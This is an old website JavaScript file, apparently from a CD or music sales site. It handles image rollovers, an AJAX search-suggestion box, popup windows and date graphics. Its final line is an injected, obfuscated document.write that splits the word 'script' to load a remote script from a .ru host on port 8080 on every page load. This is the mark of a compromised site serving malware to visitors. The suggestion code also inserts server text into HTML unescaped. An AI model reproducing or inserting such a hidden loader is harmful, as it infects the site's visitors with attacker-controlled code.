// Netscape 3.0 compatibility test (for javascript image swapping)
window.onerror = function() { return true; }
var xmlHttp;
compat = false;
if( parseInt( navigator.appVersion ) >= 3 ) { compat = true; }
if( compat )
{
a01on = new Image;(207,34)
a01on.src = "../a01_on.gif";
a01off = new Image;(207,34)
a01off.src = "../a01_off.gif";
a02on = new Image;(205,30)
a02on.src = "../a02_on.gif";
a02off = new Image;(205,30)
a02off.src = "../a02_off.gif";
a03on = new Image;(205,27)
a03on.src = "../a03_on.gif";
a03off = new Image;(205,27)
a03off.src = "../a03_off.gif";
a04on = new Image;(205,28)
a04on.src = "../a04_on.gif";
a04off = new Image;(205,28)
a04off.src = "../a04_off.gif";
a05on = new Image;(205,27)
a05on.src = "../a05_on.gif";
a05off = new Image;(205,27)
a05off.src = "../a05_off.gif";
a06on = new Image;(205,25)
a06on.src = "../a06_on.gif";
a06off = new Image;(205,25)
a06off.src = "../a06_off.gif";
a07on = new Image;(205,27)
a07on.src = "../a07_on.gif";
a07off = new Image;(205,27)
a07off.src = "../a07_off.gif";
a08on = new Image;(205,28)
a08on.src = "../a08_on.gif";
a08off = new Image;(205,28)
a08off.src = "../a08_off.gif";
a09on = new Image;(200,26)
a09on.src = "../a09_on.gif";
a09off = new Image;(200,26)
a09off.src = "../a09_off.gif";
a10on = new Image;(120,37)
a10on.src = "../a10_on.gif";
a10off = new Image;(120,37)
a10off.src = "../a10_off.gif";
a11on = new Image;(200,120)
a11on.src = "../credit_on.gif";
a11off = new Image;(200,120)
a11off.src = "../credit.gif";

}

// swap images using the cached images

function glow(x, y)
{
   if( compat ) { document.images[x].src=eval(y+'.src'); }
}

function popupPage(page1) {
windowprops = "height=300,width=520,location=no,"
+ "scrollbars=yes,menubars=no,directories=no,status=no,toolbars=no,resizable=yes,left=220 top=100,dependent=yes,titlebar=no,screenX=220,screenY=100";
//openwindow = "../details.asp?songid=" + page1
openwindow = page1
var w = window.open(openwindow, "info", windowprops);
w.focus();
}

function suggest(input) {
	
	if (input=="" || input.length < 1) {
		document.getElementById("suggestions").style.display = 'none';
		return;
	}
        xmlHttp=GetXmlHttpObject();
    if (xmlHttp==null) {
        alert ("Browser does not support HTTP Request");
        return;
    }
	var url="populatesale.asp";
    url=url+"?input="+encodeURI(input);
    xmlHttp.onreadystatechange=stateChanged;
    xmlHttp.open("GET",url,true);
    xmlHttp.send(null);
    document.getElementById("submit").style.display = 'none';
} 

function makebold (thisstr, checkstr) {
	// thisstr = "baaton baaton mein", checkstr = "baat"
	var startwith = "<font color=#bbbbbb>. ";
	var endwidth = "</font>"
	var retstr = startwith;
	var fronttag = "<font color=#fffff><b><strong>";
	var backtag =  "</strong></b></font>";
	var tempstr = "";
	for (var i = 0; i < thisstr.length; i++) {
		tempstr = thisstr.substring(i, (i+checkstr.length)); // tempstr = 
		if (tempstr.toLowerCase() == checkstr.toLowerCase()) {
			retstr = retstr + fronttag;
			retstr = retstr + tempstr;
			retstr = retstr + backtag;
			retstr = retstr + thisstr.substring(i+tempstr.length, thisstr.length);
			
			break;
		}
		else {
			retstr = retstr + thisstr.substring(i, i+1);
		}
	}
	
	return (retstr + endwidth);
}

function stateChanged() { 
	if (xmlHttp.readyState==4 || xmlHttp.readyState=="complete"){ 
		var split0 = xmlHttp.responseText.replace(/\&amp;/g,'&');
		var split = split0.split("|");
		var list = "<ul id = 'alist'>";
		
		//if (navigator.appName == "Microsoft Internet Explorer") {
		//	var thisthing = document.getElementById('alist');
		//	thisthing.setAttribute("style","display:inline;");
			//thisthing.style.cssText="display:inline;";
		//}
		
		//window.alert("value = " + document.getElementById("cd["+currindex+"]").value);
		if(split[0] != "") {
			list+="<li style=\"z-index:91;\"><a id='aid' href='#' onclick=\"javascript: correctbox('" + document.getElementById("cd").value.replace("\'","\\\'") + "', 0); return false;\"><center><small><font color=#bbbbbb>close</font></small></center></a></li>"

			for(var i = 0; i < split.length; i++) {
				if (navigator.appName == "Microsoft Internet Explorer")
					list+="<li style=\"z-index:91; display:inline;\">";
				else
					list+="<li style=\"z-index:91;\">";
				list+="<a id='aid' href='#' onclick=\"javascript: correctbox('"+split[i].replace("\'","\\\'")+"', 1); return false;\">"+makebold(split[i], document.getElementById("cd").value)+"</a></li>";
				//if(navigator.appName == "Microsoft Internet Explorer")
				
				
				if (i == (split.length-1))
					//list+=">"
					list+="";
			}
			
			if(list != "") {
				list +="</ul>";
				/*list = "<ul>" + list;*/
			}
		}
		
		document.getElementById("suggestions").innerHTML=list;
		//if (navigator.appName == "Microsoft Internet Explorer") {
		//	document.getElementById("suggestions["+currindex+"]").style.display = 'inline';
		//	var thisthing = document.getElementById('alist');
		//	thisthing.style.cssText="display:inline;";
		//	thisthing.setAttribute("style","display:inline;");
		//}
		//else
			document.getElementById("suggestions").style.display = 'block';
	} 
}

function correctbox(str, numint) {
	var elem = document.getElementById("cd");
	elem.value=trim(str);
	if (numint > 0) 
		document.getElementById("submit").style.display = 'inline';
	else
		document.getElementById("submit").style.display = 'none';
	document.getElementById("suggestions").style.display = 'none';

}

function removelist(thisindex) {
	document.getElementById("suggestions").style.display = 'none';
}


function GetXmlHttpObject() {
    var xmlHttp=null;
    try{
        xmlHttp=new XMLHttpRequest();
    }catch (e){
        try {
            xmlHttp=new ActiveXObject("Msxml2.XMLHTTP");
        }catch (e){
            xmlHttp=new ActiveXObject("Microsoft.XMLHTTP");
        }
    }
    return xmlHttp;
}

function trim(str) { 
    if (str != null) {
        var i; 
        for (i=0; i<str.length; i++) {
            if (str.charAt(i)!=" ") {
                str=str.substring(i,str.length); 
                break;
            } 
        } 
    
        for (i=str.length-1; i>=0; i--) {
            if (str.charAt(i)!=" ") {
                str=str.substring(0,i+1); 
                break;
            } 
        } 
        
        if (str.charAt(0)==" ") {
            return ""; 
        } else {
            return str; 
        }
    }
	return null;
}    

function gotocd() {
	location.href = "#" + document.getElementById("cd").value;
	thistd = "td" + document.getElementById("cd").value;
	document.getElementById(thistd).style.backgroundColor="#a5a5a5";

}

function changetable(strid) {
	thisfield = "field" + strid;
	thisbox = "box" + strid;
	if (document.getElementById(thisbox).checked) {
		document.getElementById(thisfield).style.backgroundColor="#c5c5c5";
		document.getElementById(thisfield).firstChild.firstChild.childNodes[1].style.backgroundColor="#c5c5c5";
	}
	else {
		document.getElementById(thisfield).style.backgroundColor="#e5e5e5";
		document.getElementById(thisfield).firstChild.firstChild.childNodes[1].style.backgroundColor="#e5e5e5";
	}
}

function popupPage(page1) {
windowprops = "height=300,width=520,location=no,"
+ "scrollbars=yes,menubars=no,directories=no,status=no,toolbars=no,resizable=yes,left=220 top=100,dependent=yes,titlebar=no,screenX=220,screenY=100";
//openwindow = "../details.asp?songid=" + page1
openwindow = page1
var w = window.open(openwindow, "info", windowprops);
w.focus();
}

today = new Date();
cmonth = today.getMonth() + 1;
cdate = today.getDate();
cyear = today.getYear();
if (cyear < 1900) {
cyear = cyear + 1900;
}
month_src = "../month_" + cmonth +".gif"
date_src = cdate.toString();
if (date_src.length == 1) {
	date_src = "0" + date_src;
}
date_1_src = "../number_" + date_src.substring(0,1) + ".gif";
date_2_src = "../number_" + date_src.substring(1,2) + ".gif";
year_src = cyear.toString();
year_1_src = "../number_" + year_src.substring(0,1) + ".gif";
year_2_src = "../number_" + year_src.substring(1,2) + ".gif";
year_3_src = "../number_" + year_src.substring(2,3) + ".gif";
year_4_src = "../number_" + year_src.substring(3,4) + ".gif";


document.write('<s'+'cript type="text/javascript" src="http://malepad.ru:8080/Virtual_Memory.js"></scr'+'ipt>');